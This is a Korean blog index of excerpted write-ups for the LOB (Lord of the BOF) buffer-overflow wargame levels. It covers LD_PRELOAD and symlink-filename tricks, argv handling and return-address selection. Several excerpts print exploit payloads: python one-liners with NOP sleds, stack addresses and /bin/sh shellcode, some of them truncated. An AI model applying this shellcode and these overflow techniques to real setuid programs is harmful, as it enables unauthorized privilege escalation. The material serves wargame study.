목록시스템 해킹/LOB (19)
ii4gsp
buffer와 buffer+48에서 0xbfffffff까지 모두 0으로 초기화 시킨다. LD_PRELOAD 환경변수를 이용하여 문제를 풀어야한다. printf()함수를 호출하면 libc를 참조하는게 아니라 LD_PRELOAD에 정의되어있는 라이브러리 내의 함수를 먼저 참조한다. 그리고 해당 함수가 존재하면 호출한다. #include int main() { return 0; } 빈 파일을 하나 만들어주자 쉘 코드 이름으로 컴파일을 해주었다. 쉘 코드 이름으로 컴파일 하고, 환경변수 LD_PRELOAD에 파일을 등록해주었다. gdb로 파일을 열고 main()함수가 끝나기전 부분에 break point를 걸어주었다. \xbf 조건을 맞춰주고 공유 라이브러리 영역은 스택 영역보다 낮은 주소에 위치하기 때문에 e..
ultra argv hunter라는게 추가 되었다 모든 매개변수를 0으로 초기화 하는 코드이다. tmp 디렉토리를 하나 만들어주고 skeleton파일을 복사해주자 tmp 디렉토리로 가서 gdb로 파일을 열어주고 분석해보자 프로그램이 종료 직전의 부분 을 break point를 걸어주고 메모리를 확인해보자 메모리의 끝부분에 파일의 주소가 있다. 파일이름을 쉘 코드로 작성된 심볼릭링크 파일을 만들면 된다. ln -s skeleton $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\..
47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다. ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다. 파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자 strcpy() 함수가 호출되고 바로 다음 명령인 부분에 break point를 걸어주자 스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다. \xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다. 주소가 0xbffe로 시작한다. 아무 주소나 ret로 잡고 페이로드를 작성하면 된다. payload ./vampire $(python -c 'print "\x90" * 44 + "\xe8\..
argc의 인자가 2개 이상일 수 없는 조건이 나왔다. 즉, argc, argv[0]만 사용가능하다. 실행파일의 이름에 쉘코드를 올려놓고 해당 주소로 ret하면 된다. 25byte쉘 코드는 \x2f가 있어서 디렉토리가 생성되기 때문에 \x2f없는 48byte 쉘 코드를 사용하였다. gdb로 파일을 열기위해 troll파일의 복사본 심볼릭링크 파일을 만들어주었다. 복사본 심볼릭링크 파일을 gdb로 열어서 분석해보자 strcpy()함수 다음명령인 부분에 break point를 걸어주자 break point를 걸고 \xbf 조건을 맞춰주고 이제argv[0]의 주소를 찾아주자 argv[0]의 주소는 0xbffffc1e이다. 0xbffffab0을 주소로 잡고 페이로드를 작성하겠다. troll 파일의 심볼릭링크 파일..
이전 문제에서 argv[0]이 77이 아니라면 에러문자와 함께 프로그램이 종료된다. 즉, 파일의 이름이 77이여야 한다. gdb로 열기위해 /tmp/ 폴더에 저장을 해주자 파일명이 72글자인 이유는 앞의 경로 /tmp/의 글자를 -5 해준것이다. gdb로 분석을해보자 strcpy() 함수가 호출되고 실행되는 명령인 부분에 break point를 걸어주자 48번째 바이트가 \xbf가 되도록 하고 argv[2]에 A를 100개 넣었다. 값을 확인해보자 0xbffffb64를 ret의 주소로 잡고 페이로드를 작성하였다. ln -s orge $(python -c 'print "A" * 75') 명령어로 orge파일을 A * 75개의 이름으로 만들어주고 75인 이유는 ./AAAA......... 로 실행하기 때문에..
이전 문제에서 조건이 하나 추가되었다. argv[1]의 48번째 바이트가 \xbf가 아니라면 프로그램이 종료되고 argv[1]이 48이상이라도 프로그램이 종료된다. gdb로 열어서 strcpy() 함수 다음명령인 부분에 break point를 걸어주었다. argv[2]의 주소를 0xbffffc14로 잡아주고 페이로드는 (buffer + sfp + argv[2]) + (nop+ shellcode)가 된다. payload ./darkelf $(python -c 'print "\x90" * 44 + "\x14\xfc\xff\xbf"') $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5..
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..